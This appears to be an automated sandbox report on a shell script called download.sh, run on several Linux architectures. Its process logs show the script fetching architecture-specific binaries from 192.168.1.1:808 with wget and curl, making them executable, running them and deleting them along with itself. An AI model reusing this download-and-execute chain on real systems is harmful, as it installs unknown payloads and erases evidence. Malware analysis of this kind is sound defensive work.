Analysis Overview
SHA256
f2f9ca9ff0cb7eed58c756649005c78fe847c56c2ba415d15dd8abbd07a3e10f
Threat Level: Shows suspicious behavior
The file download.sh was found to be: Shows suspicious behavior.
Malicious Activity Summary
Checks CPU configuration
Reads runtime system information
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-04-17 15:00
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-04-17 15:00
Reported
2024-04-17 15:05
Platform
ubuntu1804-amd64-20240226-en
Max time kernel
141s
Max time network
181s
Command Line
Signatures
Processes
/tmp/download.sh
[/tmp/download.sh]
/bin/uname
[uname -s]
/bin/uname
[uname -m]
/usr/bin/wget
[wget -t 1 http://192.168.1.1:808/linux_amd64]
/usr/bin/curl
[curl -O --connect-timeout 10 http://192.168.1.1:808/linux_amd64]
/bin/chmod
[chmod +x linux_amd64]
/tmp/linux_amd64
[./linux_amd64]
/bin/rm
[rm -f linux_amd64]
/bin/rm
[/bin/rm /tmp/download.sh]
Network
| Country | Destination | Domain | Proto |
| N/A | 224.0.0.251:5353 | udp | |
| N/A | 192.168.1.1:808 | tcp | |
| US | 151.101.130.49:443 | tcp | |
| US | 1.1.1.1:53 | cdn.fwupd.org | udp |
| US | 1.1.1.1:53 | cdn.fwupd.org | udp |
| US | 151.101.194.49:443 | cdn.fwupd.org | tcp |
| GB | 185.125.188.62:443 | tcp | |
| GB | 185.125.188.61:443 | tcp | |
| US | 151.101.1.91:443 | tcp | |
| US | 151.101.1.91:443 | tcp | |
| GB | 89.187.167.3:443 | tcp | |
| N/A | 192.168.1.1:808 | tcp | |
| US | 1.1.1.1:53 | connectivity-check.ubuntu.com | udp |
| US | 1.1.1.1:53 | connectivity-check.ubuntu.com | udp |
| GB | 185.125.190.98:80 | connectivity-check.ubuntu.com | tcp |
Files
Analysis: behavioral2
Detonation Overview
Submitted
2024-04-17 15:00
Reported
2024-04-17 15:05
Platform
debian9-armhf-20240226-en
Max time kernel
142s
Max time network
140s
Command Line
Signatures
Checks CPU configuration
| Description | Indicator | Process | Target |
| File opened for reading | /proc/cpuinfo | /usr/bin/curl | N/A |
Reads runtime system information
| Description | Indicator | Process | Target |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/bin/curl | N/A |
| File opened for reading | /proc/self/auxv | /usr/bin/curl | N/A |
Processes
/tmp/download.sh
[/tmp/download.sh]
/bin/uname
[uname -s]
/bin/uname
[uname -m]
/usr/bin/wget
[wget -t 1 http://192.168.1.1:808/linux_arm7]
/usr/bin/curl
[curl -O --connect-timeout 10 http://192.168.1.1:808/linux_arm7]
/bin/chmod
[chmod +x linux_arm7]
/tmp/linux_arm7
[./linux_arm7]
/bin/rm
[rm -f linux_arm7]
/bin/rm
[/bin/rm /tmp/download.sh]
Network
| Country | Destination | Domain | Proto |
| N/A | 192.168.1.1:808 | tcp | |
| N/A | 192.168.1.1:808 | tcp |
Files
Analysis: behavioral3
Detonation Overview
Submitted
2024-04-17 15:00
Reported
2024-04-17 15:05
Platform
debian9-mipsbe-20240226-en
Max time kernel
283s
Max time network
301s
Command Line
Signatures
Reads runtime system information
| Description | Indicator | Process | Target |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/bin/curl | N/A |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/bin/curl | N/A |
Processes
/tmp/download.sh
[/tmp/download.sh]
/bin/uname
[uname -s]
/bin/uname
[uname -m]
/usr/bin/wget
[wget -t 1 http://192.168.1.1:808/linux_mips]
/usr/bin/curl
[curl -O --connect-timeout 10 http://192.168.1.1:808/linux_mips]
/bin/chmod
[chmod +x linux_mips]
/tmp/linux_mips
[./linux_mips]
/bin/rm
[rm -f linux_mips]
/usr/bin/wget
[wget -t 1 http://192.168.1.1:808/linux_mipsel]
/usr/bin/curl
[curl -O --connect-timeout 10 http://192.168.1.1:808/linux_mipsel]
/bin/chmod
[chmod +x linux_mipsel]
/tmp/linux_mipsel
[./linux_mipsel]
/bin/rm
[rm -f linux_mipsel]
/usr/bin/wget
[wget -t 1 http://192.168.1.1:808/linux_mips_softfloat]
Network
| Country | Destination | Domain | Proto |
| N/A | 192.168.1.1:808 | tcp | |
| N/A | 192.168.1.1:808 | tcp | |
| N/A | 192.168.1.1:808 | tcp | |
| N/A | 192.168.1.1:808 | tcp | |
| N/A | 192.168.1.1:808 | tcp |
Files
Analysis: behavioral4
Detonation Overview
Submitted
2024-04-17 15:00
Reported
2024-04-17 15:05
Platform
debian9-mipsel-20240226-en
Max time kernel
299s
Max time network
303s
Command Line
Signatures
Reads runtime system information
| Description | Indicator | Process | Target |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/bin/curl | N/A |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/bin/curl | N/A |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/bin/curl | N/A |
Processes
/tmp/download.sh
[/tmp/download.sh]
/bin/uname
[uname -s]
/bin/uname
[uname -m]
/usr/bin/wget
[wget -t 1 http://192.168.1.1:808/linux_mips]
/usr/bin/curl
[curl -O --connect-timeout 10 http://192.168.1.1:808/linux_mips]
/bin/chmod
[chmod +x linux_mips]
/tmp/linux_mips
[./linux_mips]
/bin/rm
[rm -f linux_mips]
/usr/bin/wget
[wget -t 1 http://192.168.1.1:808/linux_mipsel]
/usr/bin/curl
[curl -O --connect-timeout 10 http://192.168.1.1:808/linux_mipsel]
/bin/chmod
[chmod +x linux_mipsel]
/tmp/linux_mipsel
[./linux_mipsel]
/bin/rm
[rm -f linux_mipsel]
/usr/bin/wget
[wget -t 1 http://192.168.1.1:808/linux_mips_softfloat]
/usr/bin/curl
[curl -O --connect-timeout 10 http://192.168.1.1:808/linux_mips_softfloat]
/bin/chmod
[chmod +x linux_mips_softfloat]
/tmp/linux_mips_softfloat
[./linux_mips_softfloat]
/bin/rm
[rm -f linux_mips_softfloat]
/usr/bin/wget
[wget -t 1 http://192.168.1.1:808/linux_mipsel_softfloat]
Network
| Country | Destination | Domain | Proto |
| N/A | 192.168.1.1:808 | tcp | |
| N/A | 192.168.1.1:808 | tcp | |
| N/A | 192.168.1.1:808 | tcp | |
| N/A | 192.168.1.1:808 | tcp | |
| N/A | 192.168.1.1:808 | tcp | |
| N/A | 192.168.1.1:808 | tcp | |
| N/A | 192.168.1.1:808 | tcp |